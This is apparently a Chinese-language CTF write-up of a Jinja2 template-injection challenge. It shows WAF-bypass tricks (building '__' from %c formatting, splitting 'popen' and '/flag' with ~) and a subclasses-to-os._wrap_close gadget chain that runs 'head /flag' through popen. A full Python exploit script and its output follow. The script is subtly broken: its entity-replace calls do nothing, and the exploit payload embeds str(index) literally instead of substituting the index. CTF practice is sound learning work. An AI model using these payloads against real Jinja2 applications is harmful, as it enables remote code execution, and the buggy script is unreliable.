题目概述

题目名称: EZ SSTI CTF (Echo's SSTI)

题目地址: http://114.66.38.239:13337

题目类型: Web / Python Jinja2 模板注入

这是一个典型的Python Jinja2模板注入挑战,页面提供了模板输入框,我们需要绕过WAF防护并读取服务器上的Flag。

接口: POST /render

参数: {"template": "payload"}

漏洞探测

首先尝试基础的 SSTI Payload:{{ 7*7 }},返回结果为 49,确认存在 SSTI 漏洞。

WAF 探测

尝试读取配置信息 {{ config }},发现返回为空或报错,说明存在 WAF。经过 Fuzz 测试,发现以下关键字被过滤:

  • os, popen, system, eval, exec
  • cat, flag
  • __ (双下划线)

绕过思路

4.1 绕过双下划线 (__)

Jinja2 允许使用字符串格式化来构造字符。我们可以使用 "%c%c"%(95,95) 来生成 __,配合 attr() 过滤器,动态访问属性:

{{ ()|attr("__class__") }}

等价于:

{% set u = "%c%c"%(95,95) %}{{ ()|attr(u~"class"~u) }}

4.2 绕过关键字 (os, popen, flag 等)

Jinja2 支持字符串拼接 (~),我们可以将敏感词拆分:

  • popen -> "pop" ~ "en"
  • /flag -> "/fl" ~ "ag"
  • os -> 只要能找到 os 模块引用的类,就不需要直接输入 os 字符串

4.3 寻找利用链 (Gadget Chain)

我们需要找到一个能够执行命令的类。常用的利用链是通过 __subclasses__ 寻找 os._wrap_close 类。该类的 __init__.__globals__ 包含了 popen 函数,可以用来执行命令。

步骤: 1. 获取基类: ().__class__.__base__ 2. 获取子类列表: ().__class__.__base__.__subclasses__() 3. 遍历列表找到 os._wrap_close 4. 利用 os._wrap_close__init__.__globals__['popen'] 执行命令

解题脚本 (Exp)

由于 WAF 过滤了 __,我们需要用脚本自动化生成 Payload 并寻找 os._wrap_close 的索引。

脚本逻辑

  1. 发送 Payload 获取所有子类列表
  2. 在返回结果中解析出 os._wrap_close 的索引 (本环境中为 134)
  3. 构造 RCE Payload:
  4. 使用 head 命令代替 cat (防止 cat 被过滤)
  5. 拼接字符串绕过关键字
  6. 执行 head /flag 并读取结果

Payload 核心部分

{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{% set i = u ~ "init" ~ u %}
{% set g = u ~ "globals" ~ u %}
{% set p = "pop" ~ "en" %}
{% set cmd = "head /fl" ~ "ag" %}
{% set classes = ()|attr(c)|attr(b)|attr(s)() %}
{% set target = classes[134] %}
{% set po = target|attr(i)|attr(g) %}
{{ po[p](cmd).read() }}

完整代码

import requests
import re
import sys

# 题目地址
URL = "http://114.66.38.239:13337/render"
HEADERS = {
    "Content-Type": "application/json"
}

def send_payload(payload):
    """发送Payload并返回响应"""
    try:
        data = {"template": payload}
        response = requests.post(URL, json=data, headers=HEADERS, timeout=10)
        if response.status_code == 200:
            return response.json()
        else:
            print(f"[-] HTTP错误 {response.status_code}: {response.text}")
            return None
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return None

def find_gadget_index():
    """绕过WAF,获取os._wrap_close类的索引"""
    print("[*] 正在获取内置类列表...")

    # 绕过__的Payload
    payload = """ 
        {% set u = "%c%c"%(95,95) %}
        {% set c = u ~ "class" ~ u %}
        {% set b = u ~ "base" ~ u %}
        {% set s = u ~ "subclasses" ~ u %}
        {{ ()|attr(c)|attr(b)|attr(s)() }}
    """

    response = send_payload(payload)
    if not response or 'result' not in response:
        print("[-] 无法获取类列表")
        return -1

    result_str = response['result']
    result_str = result_str.replace('<', '<').replace('>', '>').replace(''', "'").replace('"', '"')

    # 查找os._wrap_close对应的索引
    target_index = -1
    classes = re.findall(r"\'<(.*?)\'>", result_str)

    if not classes:
        classes = re.findall(r'\"<(.*?)>\"', result_str)

    for i, name in enumerate(classes):
        if 'os._wrap_close' in name:
            target_index = i
            print(f"[+] 找到os._wrap_close,索引: {i}")
            return target_index
        if 'subprocess.Popen' in name:
            target_index = i
            print(f"[+] 找到subprocess.Popen,索引: {i}")
            return target_index

    print("[-] 未找到os._wrap_close或subprocess.Popen")
    return -1

def exploit(index):
    """执行Exploit,读取根目录flag"""
    print("[*] 正在执行Exploit...")

    # 绕过WAF的Payload
    payload = """ 
        {% set u = "%c%c"%(95,95) %}
        {% set c = u ~ "class" ~ u %}
        {% set b = u ~ "base" ~ u %}
        {% set s = u ~ "subclasses" ~ u %}
        {% set i = u ~ "init" ~ u %}
        {% set g = u ~ "globals" ~ u %}
        {% set p = "pop" ~ "en" %}
        {% set cmd = "head /fl" ~ "ag" %}
        {% set classes = ()|attr(c)|attr(b)|attr(s)() %}
        {% set target = classes["" + str(index) + ""] %}
        {% set po = target|attr(i)|attr(g) %}
        {{ po[p](cmd).read() }}
    """

    response = send_payload(payload)
    if response and 'result' in response:
        print("\n" + "="*20 + " FLAG " + "="*20)
        print(response['result'].strip())
        print("="*46 + "\n")
        return True
    else:
        print("[-] Exploit失败")
        if response:
            print(f"响应: {response}")
        return False

if __name__ == "__main__":
    print(f"目标地址: {URL}")
    idx = find_gadget_index()
    if idx != -1:
        exploit(idx)
    else:
        print("[-] 无法继续执行")

结果展示

运行脚本成功获取 Flag:

目标地址: http://114.66.38.239:13337/render
[*] 正在获取内置类列表...
[+] 找到os._wrap_close,索引: 134
[*] 正在执行Exploit...

==================== FLAG ====================
flag{……}
==============================================

版权声明:如无特殊说明,文章均为本站原创,转载请注明出处

本文链接:https://www.palpitate.site/wiki/subject/article/WEB/

许可协议:署名-非商业性使用 4.0 国际许可协议